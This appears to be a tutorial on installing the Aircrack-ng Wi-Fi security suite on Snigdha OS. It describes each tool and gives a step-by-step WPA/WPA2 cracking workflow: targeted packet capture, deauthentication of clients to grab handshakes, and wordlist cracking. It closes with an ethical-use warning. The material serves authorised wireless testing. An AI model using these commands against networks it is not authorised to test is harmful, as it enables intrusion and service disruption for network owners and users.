🔐 Aircrack-ng: A Complete Guide with Installation on Snigdha OS

Aircrack-ng is a powerful suite of tools used for monitoring, testing, cracking, and securing Wi-Fi networks. This guide will cover how to install Aircrack-ng on Snigdha OS and explain its key tools. Let’s dive in! 🚀

🛠️ How to Install Aircrack-ng on Snigdha OS

Update Your System: Always ensure your system is up-to-date before installing new software:
```
sudo pacman -Syu
```
Install Aircrack-ng: Aircrack-ng is available in the official Snigdha OS repositories:
```
sudo pacman -S aircrack-ng
```
Verify Installation: Check that Aircrack-ng is installed correctly by running:
```
aircrack-ng --help
```
If installed successfully, you'll see a list of commands and options. ✅

🧰 Aircrack-ng Tools Overview

The Aircrack-ng suite includes several tools for various purposes:

Airmon-ng (Monitor Mode Enabler) 🛰️
Enables monitor mode on your wireless network interface.

Usage:
```
sudo airmon-ng start wlan0
```
This sets your wlan0 device to monitor mode, allowing you to capture Wi-Fi traffic.
Airodump-ng (Packet Capture) 📡
Captures packets and displays information about nearby wireless networks.

Usage:
```
sudo airodump-ng wlan0mon
```
Replace wlan0mon with your monitor-enabled interface. It displays SSIDs, BSSIDs, channels, and more.
Aireplay-ng (Packet Injection) 🎯
Injects packets to test network security or deauthenticate clients.

Usage:
Deauthenticate a client to capture a handshake:
```
sudo aireplay-ng --deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```
- <BSSID>: MAC address of the target access point.
- <CLIENT_MAC>: MAC address of the client.
Aircrack-ng (Password Cracker) 🔓
Cracks WPA/WPA2 passwords using captured handshakes.

Usage:
```
aircrack-ng -w wordlist.txt -b <BSSID> capture_file.cap
```
- wordlist.txt: File containing potential passwords.
- capture_file.cap: Packet capture file with the handshake.
Airdecap-ng (Decrypt Packets) 🔐
Decrypts WEP/WPA-encrypted packets after obtaining keys.

Usage:
```
airdecap-ng -w <WPA_KEY> capture_file.cap
```

🔍 Example Workflow: Cracking WPA/WPA2

Enable Monitor Mode:
Start monitoring with Airmon-ng:
```
sudo airmon-ng start wlan0
```
Capture Packets:
Use Airodump-ng to scan for networks:
```
sudo airodump-ng wlan0mon
```
Focus on a target by capturing packets on its channel:
```
sudo airodump-ng --bssid <BSSID> --channel <CHANNEL> --write capture wlan0mon
```
Deauthenticate a Client:
Force a client to reconnect to capture the WPA handshake:
```
sudo aireplay-ng --deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```
Crack the Handshake:
Use Aircrack-ng with a wordlist to crack the password:
```
aircrack-ng -w wordlist.txt -b <BSSID> capture-01.cap
```

⚠️ Important Notes

Ethical Use Only:
Always obtain explicit permission before testing any network. Unauthorized use is illegal.
Hardware Compatibility:
Ensure your wireless card supports monitor mode and packet injection. Popular chipsets include Atheros and Realtek.
Wordlist Quality:
Cracking success depends on your wordlist. Use comprehensive wordlists like rockyou.txt or generate custom ones.
Alternative Tools:
Combine Aircrack-ng with tools like hashcat for advanced cracking.
